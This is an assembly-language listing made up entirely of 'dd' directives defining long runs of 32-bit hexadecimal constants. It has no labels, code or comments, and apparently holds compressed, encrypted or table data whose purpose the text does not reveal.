dd 23376163h, 3DB3D501h, 5A45F1C2h, 58E95683h, 123D77ACh
dd 0EE13687Dh, 1FA31C04h, 523961DCh, 0FB9EB5E5h, 0DBD9B2ADh
dd 7E1ED548h, 3115F182h, 566154D8h, 0CFA8EDB6h, 90B64777h
dd 4764DC79h, 0E1681759h, 0F7556105h, 4E243E77h, 54495DC7h
dd 0F0CC6427h, 0BD06558Bh, 4E8B6F2Fh, 17BF0984h, 5C8546EFh
dd 0D72BBC9Ch, 0E3829134h, 4A6801EBh, 0BF3D482Dh, 0AAE40E5Ah
dd 0BDD987Fh, 7D0D840Fh, 45D79D90h, 1393A09h, 421679C6h
dd 0E910BE56h, 16CA9E33h, 0C69F05ACh, 8A008264h, 76B6EE20h
dd 91D042Ah, 0EE4A5EF2h, 0B2800F94h, 1629570Fh, 0E9A2E9D6h
dd 226047Ch, 0A9B02CCEh, 6F279EE5h, 0B277973Ch, 5FF885C8h
dd 92183EBDh, 7A2F9ABh, 540A22B3h, 0CE9CE50Ah, 0ACAE400Dh
dd 5607D7E9h, 0BE055D2Eh, 55B66916h, 0CBDBB304h, 566ECCABh
dd 61C82213h, 0AAC7AD00h, 90C91054h, 4520B543h, 887EB450h
dd 66B0E676h, 287F1349h, 2E94885Eh, 0F42680ACh, 118A608h
dd 8854ED80h, 0A9373AE8h, 1E519B13h, 41FE6152h, 886DEC80h
dd 0D5A8BE1h, 8E92A92Ch, 14D86CCCh, 45C99EF4h, 0C07A9184h
dd 505B0076h, 7DBA0752h, 0D21D731Eh, 0D0711FC9h, 755BC8ADh
dd 165F2D8Ch, 0FB61B60Eh, 2FD1EBE9h, 60999837h, 1764B8DDh
dd 0FC375109h, 982D0058h, 1C8AEF6h, 0DDE927C7h, 2AEC36E2h
dd 8A0A9FA0h, 5A766880h, 0B07B31Ch, 7E45DDFh, 3881E552h
dd 0CDD83062h, 0CE07053Dh, 970FE96Dh, 1F86C9C4h, 0DD40632h
dd 181A1745h, 0A8F1E431h, 0ACE1E34Dh, 6158026Ch, 0FB326D84h
dd 99B8B034h, 354D680Bh, 0CC6C6956h, 5F44BF04h, 20096816h
dd 8D31AE65h, 5F01CB9Eh, 0CDD27E45h, 0B70550A8h, 97BF3045h
dd 0B902B0Eh, 645D9A14h, 0B5A316DAh, 7B2FC4CFh, 7DA10258h
dd 0C5763014h, 765F25CEh, 25054AEBh, 55509430h, 7165682Eh
dd 0BFF92217h, 69C9ED80h, 2F986C73h, 0E4946F0Eh, 85E82989h
dd 0EFA398B9h, 0BEB05E12h, 405CDA72h, 807590D5h, 2788F64h
dd 81118860h, 2D2104F1h, 3750418Eh, 8FE27712h, 1CBF9808h
dd 0FFEB1258h, 858DA549h, 0AE1268CDh, 50605A63h, 0ECCE5E51h
dd 1C09014h, 0A66A1FCAh, 0C7F2E97Ah, 68562302h, 604C32A8h
dd 95FE4119h, 67289C30h, 278846BDh, 0A71E29B6h, 4DB8719Fh
dd 0D4E2007h, 0D3F5D6A8h, 39D8B19h, 0D03EB616h, 22FE365h
dd 0CF817607h, 4517444Dh, 4BAAEF60h, 29731306h, 0D54B09FEh
dd 441896FFh, 7441E314h, 6E1CE02Fh, 4C28A640h, 30252FC6h
dd 96B55472h, 0B5B4F83h, 0C302F69Eh, 0CEFAC57Eh, 774FCF7Fh
dd 0D501EF81h, 0F81345BDh, 0F9A29Dh, 0EF8027B7h, 48D7F62Bh
dd 1D10E6FEh, 4E07A6EAh, 0A500F858h, 0D1A04E9h, 627F6DCBh
dd 44A9DDF9h, 0C436810Fh, 2D4B81D2h, 0CA31CC1Bh, 44494AB8h
dd 1FF35B7Dh, 4C9621D3h, 0CFF9050Fh, 5F6B4950h, 4F5347CAh
dd 0B30A1769h, 2B760B91h, 5F927690h, 0BB6CA902h, 40E8C10Ah
dd 80848B5Fh, 0FC0F6857h, 65294150h, 37AB0E01h, 0C4414B7Dh
dd 0D0167E02h, 59FD3F23h, 8A4225EDh, 73F9E9C2h, 74E9CC5Eh
dd 0FA87012Ah, 2A6AE94Fh, 164DA0B4h, 802F3876h, 26F81A40h
dd 7489EB25h, 45E53D93h, 97DE1151h, 1C4F090Ah, 69C51AA0h
dd 4411BD83h, 897F3092h, 28097712h, 0CA801C7Eh, 0EE547C6h
dd 0AFB02AE9h, 55C23AC7h, 0BB532B80h, 2F976AD2h, 2AE38103h
dd 771D135Ch, 675E0490h, 0A0D0E949h, 40EF58C5h, 0FAB345F1h
dd 83A952C6h, 0F810AE1Ah, 5A9FC276h, 3F69DDF7h, 0F97ED93Fh
dd 0AC977438h, 74BA48ECh, 82137997h, 7B6D59E6h, 0B350077h
dd 0B84E7338h, 5B82926Eh, 2EE7E52Dh, 0CC0D5705h, 0B9558093h
dd 27387B99h, 0D85EAD81h, 4A0C8139h, 157C370h, 591655CEh
dd 0EA5E0F09h, 0EAD8787Dh, 0A5202AC3h, 38E801A2h, 0F5E94271h
dd 25F0374h, 7B342E24h, 407D3117h, 0B1C39AA7h, 1C60C02h
dd 849736A4h, 0C8B8FC2Dh, 0C52FB34Ah, 0CBA08FE9h, 0BEE07FC1h
dd 2B05404Eh, 707A5E22h, 99259FF8h, 8F6F4D5h, 0D19D8EDFh
dd 0F8A46CCh, 0F65B2FF9h, 0FE262C40h, 0C004C961h, 0F1E802E1h
dd 2FC8E0B1h, 92497FE9h, 0C7E33A44h, 12754A7Dh, 8B4D042Dh
dd 0B2BB0078h, 480FE006h, 51051143h, 0A0F01FF9h, 8840BF69h
dd 128C09B9h, 1D5A1606h, 2A8EC4Dh, 400294BDh, 5615403h
dd 0D86DD568h, 0F317970Dh, 0C002C9FFh, 87F61ED4h, 548EEFA2h
dd 545D2508h, 130626C5h, 0BB26CC2Fh, 0C23B6B95h, 0ADFF1DEh
dd 9D8CBD2Eh, 0E070D2C1h, 214E5C91h, 721EE544h, 5E783500h
dd 73F46A82h, 3DCB2E4Bh, 0BB4DBF75h, 952FFB2Fh, 2119B03Eh
dd 715A91D0h, 7674FE35h, 0AE3BBE24h, 0EBADA21Bh, 2C2B7CDAh
dd 0E270DCA7h, 0CD7F1A6Bh, 835A8DA9h, 0D8032E4Bh, 38D0465Dh
dd 42CFD84Ch, 0BD1D4720h, 6D9AED41h, 206E4887h, 44D29FCAh
dd 0EB04B173h, 31FB6869h, 0B41FB1E3h, 0AAE48C61h, 3BB05506h
dd 0EC4CC0F2h, 0F5A334B1h, 278D49FBh, 49264DD8h, 813C2041h
dd 0D4232BB4h, 3829CB01h, 258A8710h, 581FD459h, 1C02B8F6h
dd 0A6E97B46h, 534749B4h, 0F44C90C4h, 6D8B4D83h, 8450E300h
dd 6C12BF68h, 6136C22Dh, 0A648C357h, 81285C5Bh, 0FDC9A713h
dd 1010C968h, 81711509h, 0B1813B2Ch, 4FED37B7h, 5D43975h
dd 9FA0B971h, 0A15C9656h, 60CD5155h, 4F313AD5h, 8304DAE4h
dd 474C6BE7h, 9F62755h, 4F14F0D7h, 55320B02h, 207F6E01h
dd 373E8B84h, 0BAA9CB76h, 0FEB1ABDEh, 4F96F26Dh, 0E9585409h
dd 0B82220D3h, 8448C0h, 35D8F72Bh, 8D2CF59Ch, 58C12113h
dd 0DE942CBFh, 0A132E6Bh, 6627A5EBh, 62485CF9h, 0B225CD20h
dd 1FE1E072h, 49CF9481h, 0A969595Ch, 5930E274h, 92AC48C1h
dd 4E72C185h, 59830570h, 0E9058588h, 0C9F8F4B1h, 0A006318Dh
dd 2526AC0Dh, 1AA7C57Eh, 4584129Dh, 0B8A0BFh, 52984DDEh
dd 0E901C183h, 0A59784ECh, 18B85003h, 0FCA48B13h, 4B16A57Ch
dd 8B4A17BCh, 0B2374C8Ch
dd 648579B2h, 4882AAB4h, 50A940BAh, 58E21C08h, 5205DFC0h
dd 0D226E87Bh, 9F9B03BFh, 21F2EB19h, 6F4140C2h, 896F6D07h
dd 0B093D897h, 0BDCC20C7h, 97AE5A9Fh, 50962114h, 0B4B6568h
dd 6B6CFE33h, 0B676E6EAh, 92F20D09h, 0B7F90F73h, 0DFCC0EE8h
dd 68B1B983h, 46C82109h, 68E91A2Fh, 6C7524D0h, 71BA2066h
dd 0CD342390h, 61820DC9h, 0A3425720h, 77A8925Fh, 0C5A7E5CFh
dd 10A609F4h, 55805DFBh, 443081BDh, 0E5C11276h, 5037EC05h
dd 613C5C5Ch, 0CB818069h, 5FF27352h, 90025EE9h, 0F93CB874h
dd 31BB9713h, 0C0800104h, 965816A2h, 1309920h, 7F4A8EF0h
dd 5A2A901Bh, 0AB261218h, 26E95678h, 49E2C23Fh, 824B36C9h
dd 2818260Eh, 0BDF30029h, 0D226A123h, 0F188C121h, 8512C82h
dd 542D95AFh, 1E3E8A7Dh, 0DCFC4BEBh, 6BA089A2h, 0F588FDC4h
dd 675912D2h, 53950166h, 7B794A1Fh, 542DF980h, 7042C120h
dd 406E4F27h, 983AE787h, 3867515Ch, 0CD38505h, 1EBE38CCh
dd 0D5F7423Ch, 7CE16EADh, 0C1A249E1h, 2142F90Ah, 82517D2Dh
dd 9AD5F9E9h, 20BC5AA9h, 0BE049F0Bh, 68E6464Dh, 5EF120EAh
dd 1A5A3AE9h, 4149E6F2h, 7568BE98h, 623F692Eh, 809C234h
dd 44DDC85Bh, 0C0C5BDC3h, 5C84AF09h, 457E69D4h, 0D2315CE0h
dd 74692E68h, 2A656B51h, 5CA30925h, 0EFC45BC8h, 69126F8Fh
dd 4EEA21AFh, 0ED9F8080h, 2C703EECh, 0A9CD4C01h, 0EB440841h
dd 68B058E8h, 0F19B121Dh, 2413A708h, 3EE0D26h, 0B2C03A06h
dd 7C4B0734h, 8EA003Ah, 5D46E281h, 0E4ED61CFh, 0F33E490Ah
dd 9ECA0276h, 0E12DA46Ch, 8263C6A1h, 0CE355A26h, 39E93382h
dd 0F7667D48h, 4768F909h, 507CDE64h, 7E5B72E9h, 4D06A925h
dd 582B0891h, 162FBEE1h, 8101C824h, 0C1077589h, 0D882031h
dd 1C38561Fh, 0CD09D856h, 0E4F95E7Dh, 4B71089h, 20E2BE9h
dd 0E1DA8CEFh, 364E010Bh, 0FC23F01Eh, 91B162A5h, 39F658C3h
dd 0F080E812h, 5C4D3605h, 56109D4Bh, 0C6E9C504h, 5C6C3E18h
dd 13DC2549h, 5400D450h, 0D6F7258Ch, 4C28E94Eh, 3BC178CDh
dd 2C36A91Bh, 2047076Bh, 0C3D00A5Fh, 1A0E6C0Bh, 1CFB014Eh
dd 31C080Dh, 0FDDD8B14h, 46EA93D1h, 66B75054h, 3025B2A6h
dd 42A6DC2Bh, 1B0AAD4Ah, 1F0FB92Ch, 0F8B965F7h, 0A9E16F8h
dd 213FB7Ah, 0F68B3F4Eh, 9A28A054h, 0FD0948E2h, 8FA012Ah
dd 54260816h, 0B7814E7h, 325D6855h, 9D7884A9h, 3070B402h
dd 224A90D8h, 40CC751Fh, 0BD560A6Ch, 3DC92F0Fh, 0D92DB4D4h
dd 27FE6E87h, 4F311148h, 38EB2792h, 7AF84E44h, 607A8B1h
dd 323F0FCCh, 0BD652883h, 8444F27Eh, 0C74B6BFAh, 6C9A8470h
dd 58253E9Bh, 0C4D87E73h, 16CEB335h, 0D81A70A7h, 1868331Bh
dd 0A83E6463h, 0B3D79A6Dh, 0B90ED832h, 63804998h, 63362C44h
dd 74F60B0h, 941FAAE2h, 0ACD41233h, 60450160h, 0A55FE957h
dd 13ADB22Fh, 55892ABDh, 0D428CAFBh, 0A4D2644Eh, 0F1D38293h
dd 0D1530A17h, 0D22F5FABh, 928AB016h, 5D5B5ABAh, 920D2F36h
dd 0B0534F86h, 0BC405203h, 80A81CB6h, 0DE86C3EEh, 801CBFEh
dd 0E9C2B450h, 936F2C54h, 0D3837AE3h, 0B1AEC3ABh, 0E74A7398h
dd 0E1BAA6C0h, 3FA72435h, 3A5F003Dh, 96E949B6h, 53BE0BB5h
dd 68560E52h, 7B0B1E2Fh, 1EBD6B84h, 7171678Bh, 551282C7h
dd 0DC7830FBh, 4D64F61Eh, 45FC0C70h, 7B8CB0B7h, 4EA6F8C1h
dd 0BA8F0439h, 0DAF70492h, 81C65FCh, 0C703975Eh, 9B84209Bh
dd 58974F23h, 0AA919D8Fh, 8901E24Bh, 36359CEh, 0AC5A3D24h
dd 47675A7Dh, 0C5E90930h, 6787BC08h, 0F88DA456h, 13E24E12h
dd 1011F6B5h, 0FC6BA87Eh, 98BD24F4h, 0BE9BCC4Fh, 276A7CADh
dd 0F7434633h, 312F0F48h, 7F767C5Eh, 0F5162D3Bh, 7AEC25D1h
dd 0B861DF75h, 0EF056A42h, 505F4D30h, 0F8744B1Dh, 6F074194h
dd 57E91004h, 280415ACh, 81332CF8h, 2C8B43Bh, 30A9FD5Ah
dd 0B76934FFh, 2C12D247h, 2BC437D4h, 0E9A170BCh, 31658965h
dd 7A3574D8h, 0E963BEFEh, 0BEDD02CBh, 63195215h, 100A1DDh
dd 0CA6617h, 0F3759C9h, 643418C3h, 0AD3C10C6h, 0B3DE50C0h
dd 0F397879Ah, 665C8AD8h, 0EC94084Fh, 4C7290Bh, 88051102h
dd 5A56D8E7h, 0CC9DFDF2h, 25E849EBh, 5043A64Eh, 6812B7CDh
dd 70CC4FAAh, 0ECC003A3h, 6C48007h, 5D063Bh, 5366E2CCh
dd 4E305FB7h, 0E3D20BFCh, 0E741D2D0h, 996E30h, 2D4FA8EAh
dd 428A1695h, 261D0578h, 5C422C8Fh, 0DF1C5870h, 3A072688h
dd 522011D1h, 9B22032Bh, 2AF18163h, 0E942C1F8h, 0CCFC0B2Dh
dd 295E12A9h, 7069FCDEh, 14302A41h, 59AD40CEh, 0C09227F8h
dd 281EB50Fh, 0F48EEBF5h, 0E3E524D9h, 0BCF15157h, 0BDB66EA9h
dd 0E017609Eh, 0C4C246E9h, 0B1307DACh, 0BD801C13h, 100D12C3h
dd 4835001Bh, 0E909A1FFh, 736C342Fh, 0E86027AEh, 61494368h
dd 0A0392F53h, 69C3F16Ch, 0BD31FC24h, 0EF361C03h, 0D62DA112h
dd 1D728BD9h, 2E9899Dh, 4D80399h, 0D7169EEDh, 1E26EDBBh
dd 722E3E5Dh, 65AE303h, 0E6028D4Fh, 807207C6h, 608BC384h
dd 0F735181Eh, 793E10DBh, 919D5324h, 7459E701h, 7E252956h
dd 0DD10805h, 4B7B012Bh, 0CBAB9E29h, 3A4C6D71h, 7C7316AFh
dd 0E750BF0Bh, 4F804808h, 9284C034h, 3D4EFCACh, 0A045FE4Bh
dd 99567C12h, 22C4A2A2h, 0A1E0ECA6h, 520775A8h, 0AEC667E0h
dd 4B23665Bh, 291B26D3h, 0F65B885Eh, 9C25D827h, 0F6D3CFF7h
dd 7EB31205h, 0B86075EFh, 0EA5F24FCh, 0D30055C5h, 50A27F52h
dd 0B5660BDh, 15BDD29h, 918DE84Ah, 6233C96Eh, 0D6E9C2AEh
dd 0E929FE92h, 0CB228FDFh, 0B71FD04Dh, 68123078h, 8D8C1482h
dd 1EDC55Dh, 0D570925Ch, 1D98E8F8h, 7716CE04h, 82C71252h
dd 0A771D625h, 2901CA6Eh, 0FC806ACBh, 4F5A3CA6h, 0EE52F001h
dd 0DE908F4Ah, 5A873015h, 9264C00Eh, 7F76A342h, 0DA85C700h
dd 0EBE96493h, 41089472h, 2F5EF021h, 9A2E4344h, 0C613AA16h
dd 0E5446191h, 0EAD55D02h, 93397178h, 4704FF89h, 800718F7h
dd 0F6046FEFh, 42DAFF1Bh, 2BC48D4Eh, 1C870504h, 6094CFFAh
dd 0C226462Eh, 90D09D1Eh, 0B39CE92Ah, 2A96F280h, 926F8D3Dh
dd 9EFCD4D2h, 10669FC6h, 2E1C11Eh, 0BA974318h, 2E331D55h
dd 0D55E3063h, 4B179D23h, 0D3EDFD89h, 3595B312h, 23B0D5FEh
dd 5B257261h, 2DD77C88h, 5CA5E1D4h, 805A03B9h, 0E8829BF5h
dd 0B94C4260h, 2BA4BBA6h, 74EF8520h, 0B5A3EE29h, 0FDC34A23h
dd 931945FFh, 0C690E856h, 0F61F5958h, 789553D6h, 3FB24ECAh
dd 0B034C094h, 4A04FF49h, 56E27A79h, 0A1D95F27h, 0F61A0749h
dd 0E9679BE1h, 0BC39FAC9h, 277F8708h, 841F510h, 264D8B6Eh
dd 69639CB9h, 0E74503B6h, 6D821588h, 4878F7B0h, 0E92D2A05h
dd 1C000863h, 534E4BCAh, 72CE4829h, 0BBDEE07h, 0B60C1C6Bh
dd 3F93351Bh, 8AA411Eh, 16140CA0h, 0E80E41E9h, 1CC5C0B2h
dd 9F7D094Ah, 0A70AC45Ah, 829725Ch, 9D401E03h, 0F6CCA64h
dd 3C0C299Dh, 5D1C0245h, 0D2D07054h, 0E99A96EAh, 576B6C04h
dd 0AA6C7488h, 9A9CC193h, 0C2FE1DA7h, 2FB84747h, 5B25DDA0h
dd 0D1B576C4h, 1E262C15h, 0B10516A2h, 0D621737Ch, 0CD781DB1h
dd 0CDE8A2C4h, 68D241C7h, 2ECC3AC4h, 584C850h, 1FFCBE8Dh
dd 0E520E802h, 0EA688500h, 0F82CBE1Bh, 0B51D7AE9h, 82A71FEBh
dd 397C692Dh, 3ABF6172h, 0CF21446Fh, 0C1C4EE59h, 0EF7E94BFh
dd 0B1E97D71h, 0B2072C38h
dd 95E23056h, 4F22A858h, 92EC298Dh, 52E69FDDh, 613AD99h
dd 0DFE6B7B1h, 83880FE7h, 93481D64h, 4FCFF85Fh, 9A6F29F1h
dd 0AAE90977h, 15C0E893h, 0B440322h, 0D2215D2Dh, 0F7E8D1A0h
dd 260DD81Ch, 2502EA00h, 7F7E6287h, 2327092Bh, 1B5EA772h
dd 4CA1B08Ch, 53F0ABDh, 2DE16E67h, 0E5886903h, 0A696EE92h
dd 0A96D3AC5h, 13ABF288h, 0FBF96B09h, 855F510Bh, 9F429626h
dd 40D831ADh, 4E35E6C0h, 1119B084h, 57C40F04h, 16EAE9D1h
dd 0F498FC01h, 147E2DEFh, 5957E085h, 31F950C1h, 412152EAh
dd 68D9A46Bh, 92388025h, 0B96C7D41h, 90E9BBA8h, 7A7AABDh
dd 5A7FFE25h, 0F90EA057h, 80770B68h, 0BA625AE9h, 0D75E5FE0h
dd 3B685198h, 0C94A1D58h, 0E02E7051h, 0E82980B5h, 0B05AF1B8h
dd 0CC51C48h, 51129098h, 9188CDB3h, 3BCE24C6h, 0C8C886BCh
dd 0F816A1A4h, 0A1B1FD13h, 90BF627h, 0FF54B28Ah, 0C410FDA4h
dd 6A715C2Dh, 0F531983Dh, 1D07CA53h, 803AA826h, 3474DDE2h
dd 0E97B4A43h, 2CD3D5h, 1F3E2C80h, 2787C62Dh, 0B1767273h
dd 4C798227h, 0A231FD06h, 0A43C4431h, 68135575h, 0F8A3F07h
dd 29969659h, 0CA073283h, 0CE00EA56h, 0BE3E904Fh, 6FB01234h
dd 14453C1h, 5178992Dh, 802092Fh, 0AEED5F5Eh, 0B49AA22Fh
dd 19770A62h, 74597573h, 0AA253C74h, 0CADCA10h, 17B40C08h
dd 0B231F55Bh, 0F69220E1h, 0C288125Ah, 21F8866h, 0B905865Ah
dd 0B599EB4Bh, 0DA688FE5h, 8970617Eh, 78505C68h, 9988DF6Eh
dd 37B2C02h, 21714DAAh, 930F0C05h, 13BEAFDBh, 882DA4DEh
dd 95A32E0h, 0FAE453ADh, 78F30DC2h, 8326A9F1h, 2F689330h
dd 0B6C548B8h, 0E95CCD22h, 83224FC0h, 2530567Ah, 9C80DDD8h
dd 0CD274AACh, 25845260h, 2C0CEDE9h, 1D40E3CCh, 5EB31C1h
dd 84F8D412h, 8247C51h, 4177D1A6h, 54176A9Ah, 0AC4A88B9h
dd 370D0277h, 4089641Ch, 8268B3BEh, 87C5005Fh, 7D564FFEh
dd 0BDC5EE57h, 2189E271h, 1693E51Eh, 0B740B0D3h, 0CE277277h
dd 9D4BCE7Bh, 61994A90h, 203EDB97h, 796CC58Eh, 24A6BD11h
dd 26B8BB37h, 8115B9D8h, 807A00F1h, 55D3A5Ch, 77B040Bh
dd 0E8E2E95Fh, 64CB4E0Dh, 50185E10h, 594FCBFBh, 0ED5A2FA8h
dd 5A60A39Dh, 833DB087h, 0EA1BD983h, 5F120B29h, 4FE5AC59h
dd 7CFEA8A0h, 4B3BEAC1h, 0F938C928h, 208348ECh, 8F3BC69Ah
dd 6DB85047h, 93627582h, 0D5869257h, 77407E8Eh, 0E0D16F46h
dd 7BBB531Ch, 0E927ABC2h, 9D4E500Dh, 123FCB45h, 83F5F980h
dd 0D8636640h, 0F19F5B7Dh, 3A003AD7h, 0C78931F2h, 3FF09561h
dd 5381A573h, 96DC7ED8h, 59CC80AEh, 0E6D12190h, 16FCC6A3h
dd 0BF0E37AFh, 0A589E1EAh, 0BB506660h, 14C227C8h, 0F014E14h
dd 2168C8BFh, 0F0CA536Fh, 242DAD5Ah, 6887052Fh, 0FF25951Bh
dd 39E94271h, 0BC5DF824h, 0DD9ADB4h, 93AEE941h, 0AAC5658Eh
dd 0B63CD4BCh, 30C74E17h, 5E5A56EEh, 52D6F71Dh, 0F45B20A4h
dd 0A218EFBCh, 0CDEF4FA1h, 17867D39h, 0D409FA89h, 0F484CC83h
dd 3AF89E66h, 4A57AD50h, 9705A809h, 0DF39FBD1h, 0BE92082Ch
dd 56E30E0Bh, 6C09D150h, 52B95B7Ah, 7DF908A5h, 17A95E17h
dd 680A69D1h, 0C0AD0AA6h, 11800317h, 8E2A02B5h, 49030BF7h
dd 20BA2391h, 7D2A0A40h, 5673CC2Fh, 0E94E4194h, 81016E3Dh
dd 0CEF2840Fh, 0E9DD9C6Bh, 4B80A64Bh, 52A1005h, 0F8295380h
dd 0E007142Dh, 4EA7AD10h, 0C10A8E8h, 0C7542402h, 7958AA12h
dd 9E20901Ah, 7BB980B7h, 0F3292FDAh, 44AD31BBh, 5F6320DDh
dd 0C0BFC0BDh, 0AC324FC8h, 0AA45173Dh, 5D3CCECh, 0A88AFEF5h
dd 18819760h, 5C02C18Bh, 57E10E1h, 416426E4h, 0DEF02AE4h
dd 74E8E043h, 9F7DA004h, 2FEB91B5h, 934D854h, 3CC1C081h
dd 0CA206FE5h, 0D04718E4h, 73A90C0Eh, 29445F07h, 0E3F05AD3h
dd 0B166160h, 470C6832h, 0EE936C59h, 0B73ED3A1h, 4B8094EEh
dd 4A120922h, 0AEC47746h, 4E543C4Dh, 424F40CBh, 18E8C144h
dd 0EA74C28Bh, 0C7256B28h, 7A8BC4C2h, 3FBA0409h, 0EACDAFF1h
dd 8681207h, 0AC42599Ah, 96A40E6Ch, 0DF44FA5Eh, 4609E7FBh
dd 0B0261B7Dh, 7B3AAFF6h, 9A0EB0A0h, 445A5F75h, 0CCE29034h
dd 0E61F9C9Ah, 760B912Fh, 211D2FCBh, 80F1B353h, 0C43ED661h
dd 851BB209h, 0FF04F588h, 0BB007FD5h, 49B815B4h, 2B179EB8h
dd 0E101A43Dh, 0FADFE9EBh, 96D07589h, 0BB043B96h, 54C2146Ch
dd 43FCD380h, 0E94D0B47h, 97C87DB2h, 40997C44h, 3A2C5493h
dd 5BBF0957h, 26DC8442h, 0A3769C07h, 323E8099h, 19159675h
dd 1E02E7C1h, 66B7016h, 3E132B90h, 6BBC33B3h, 0C105E21h
dd 61129F13h, 2AF9FD90h, 660D1860h, 0B03D5A57h, 3EB05062h
dd 0E9E0144Fh, 13725BE9h, 4C84A3EEh, 98CF853Eh, 77C491BCh
dd 0A1BA0065h, 222C0Dh, 678EE281h, 47E934A6h, 422C07BFh
dd 1ED45C65h, 0F42C64BAh, 0D141EF86h, 0F586DD20h, 30715902h
dd 7A20CDA8h, 0FB013BD6h, 88DBC3B2h, 0BAFDD4EBh, 0F852779Ch
dd 37685B6Eh, 0F925D88Bh, 0D99D4203h, 20EF641Ah, 81049CC6h
dd 4E66FEF1h, 684B43BFh, 3D104B23h, 277ABD21h, 0F11832CAh
dd 4A3B91B8h, 0D3BA02A1h, 0D50A4D2Eh, 76AC11E9h, 12EC5B90h
dd 0AB74DA03h, 19B15862h, 61326E77h, 0DA8477D3h, 0DA28FB5Eh
dd 68D9C35Ch, 9716142Bh, 0E1B9EAF9h, 8B29CDDEh, 26D6D8D3h
dd 0CF6D4C28h, 5FB8E295h, 8727F5ECh, 0CFC1548Ah, 80C2DC4Ah
dd 68D8015Bh, 53A43249h, 61EE5D30h, 28408DC6h, 2844E62h
dd 43D20DAh, 0D1C0CF0Dh, 4771057Fh, 840C143Ah, 0FBE3CD9Fh
dd 2189F9C0h, 0AD294C61h, 0BAF41327h, 8BAB1CC5h, 7EC4EA1h
dd 4DAFBB1h, 0F7800BAAh, 11C15F7Ch, 905562E9h, 7CBB8FABh
dd 0C8DBE925h, 9D59CF9Eh, 4D08CEF3h, 495F596Eh, 4882C24Ah
dd 54025C11h, 0D8815559h, 2A3DCE6Dh, 65E96D80h, 0B920C085h
dd 670B64BBh, 59CD2116h, 0BF57CE0h, 0C983920h, 0A58B942h
dd 6DC2CC0Bh, 0FA8DC029h, 5F90CB16h, 8A6FC2DCh, 0C1AFE3D9h
dd 6984E7C8h, 0C13842C7h, 400F52F3h, 604CF8FCh, 0EB1C3798h
dd 155D6F5Ah, 0DDA6F381h, 5470ECF0h, 5B83F86Eh, 0C1F56Ah
dd 397D6808h, 0D060E995h, 5B784A36h, 0A57BBC54h, 37BDC157h
dd 0D0F089h, 4032B297h, 8BFCDCA7h, 65B95200h, 815E6E1Fh
dd 1CE40EC9h, 0E1C023BEh, 47262FE2h, 0B2B0E91Bh, 684C0533h
dd 0FFEE5EEAh, 5540F32Dh, 911A11Ah, 0E191E9A7h, 5A60A2FEh
dd 9048E86Eh, 0D4B800D0h, 0E99993AAh, 49A8EE23h, 6697F0B5h
dd 98CD9F30h, 130B65A4h, 8893F188h, 562783D0h, 0F44F16A4h
dd 84B52894h, 5DD46AA2h, 0EB968FA9h, 0E2C22D49h, 832FF79Ah
dd 0EC19C5Ch, 0E9822CD8h, 0C9A1BC7Dh, 0E5CDB551h, 0C5136EC0h
dd 0C42E06CDh, 9273FD2Bh, 0E0B0CBC1h, 0B91CBE05h, 868ACA16h
dd 0E3C2800Bh, 6F5C684h, 0F804DDF6h, 30871FC5h, 52E596ECh
dd 912DEE90h, 19380FFDh, 2D95324h, 5AF78859h, 260B6DDCh
dd 595A56D1h, 0E0E13BCEh, 0CA38603Fh, 0A2C72FCh, 31E784Ch
dd 0E9A35441h, 532EC01Ah, 1C2FD89Eh, 3EF9634Bh, 2AA60BD2h
dd 3F21A631h, 0F7E7F512h, 895EBE1Fh, 0C2D63AFCh, 55800B2Fh
dd 0EB8101AEh, 38297C83h, 0E22B891Bh, 78347E74h, 0DF4BCDE9h
dd 0E8681192h, 128DBDE7h, 11E2D1Fh, 0F003D02Eh, 0E562C645h
dd 812937CAh, 2C273EFDh, 8D5909E9h, 4004DBF7h, 9899B7E6h
dd 0A131402Eh, 0E9F30101h
dd 353A9602h, 7F67E170h, 0BF8BE18Bh, 0F913D451h, 342B012Dh
dd 0B090EA4Ch, 0B8F72A64h, 8E6007Ch, 22DFCE81h, 7B06958h
dd 0C68B69CDh, 2DAE8BBDh, 7854A781h, 7B05D124h, 0B812F612h
dd 9E1090ECh, 5B5114EFh, 606484C0h, 0AF045809h, 3AFEE8BDh
dd 965ABFEBh, 2F341684h, 6F59A82h, 1114D457h, 2994A05h
dd 0A1520DBh, 0C35DC129h, 0A7B00845h, 927C1FFDh, 50DEC130h
dd 73E4DAE9h, 65F84A45h, 0F4D2ECA5h, 60AF9453h, 8C1D6018h
dd 4DF01163h, 0D50A8A74h, 7AC069C2h, 5197EDA5h, 55BD82B3h
dd 0FD827D31h, 49566CD4h, 9779F166h, 0C253CCCh, 0B0286C66h
dd 8B4C20CDh, 9578F897h, 2A4A78DAh, 47B53E5h, 0EAD398C9h
dd 0DC6B9D31h, 0C584EA69h, 26BE10D4h, 66097284h, 8FB0050h
dd 5C5AF088h, 0FF10EAFEh, 426812B5h, 656BD521h, 27B0405h
dd 15804F8h, 596173BEh, 23DA20DDh, 358AC4Ch, 22470537h
dd 79811832h, 50E42C06h, 0E381174Bh, 2D3A0C55h, 1B1EDC0Ch
dd 530943B1h, 13D511E2h, 5A0E49C4h, 7AD3A65Ah, 3B814D2Ch
dd 2FE5430Dh, 3907BC00h, 0E62BE979h, 0C8F0CAFFh, 3F0BCEA6h
dd 6D9A7D15h, 0B9847AF3h, 0AD2673Bh, 74666A65h, 0FEF556DAh
dd 9D4D81FCh, 88F567Bh, 16BBE484h, 1557F18Bh, 0F7B6D2F0h
dd 0BF4CAF05h, 0ABB11AEh, 6CCC544Eh, 7EC60097h, 0FB87719Bh
dd 0B064769h, 8A45562Ah, 49C5D10Eh, 84F8295Dh, 801FA8E9h
dd 44A105E8h, 502DE40Ch, 2DD76C5Dh, 30E5EB21h, 0C34AE905h
dd 69A9CC24h, 0F031590Fh, 72A003CBh, 4A3347BAh, 0F2815500h
dd 7A904163h, 0E87C49E9h, 5AD5090Fh, 0D139C0DDh, 0EA29B223h
dd 0ABDDE919h, 973EF65Dh, 0F855B51Ah, 62FB45D9h, 0C801845Fh
dd 0E9502CFFh, 0E882692Dh, 80D8E63Fh, 0B1B74468h, 123017D9h
dd 2BFF9E95h, 17542DFAh, 826EC758h, 0E8B52275h, 0EF1BF49Bh
dd 177B2866h, 7E66F101h, 0CB8921E6h, 40CD2020h, 380CB3BDh
dd 0A066D820h, 29964BA6h, 0FA6AF097h, 4BD046BDh, 48E4B99Eh
dd 43EA95Bh, 0AB5CF875h, 7888A03Dh, 68047EF0h, 66ED74A7h
dd 255FE392h, 81557E05h, 0A21BF32Dh, 40E2D44Dh, 325D826h
dd 4C070514h, 13780128h, 44E90A3Ch, 50420EF7h, 0E542D488h
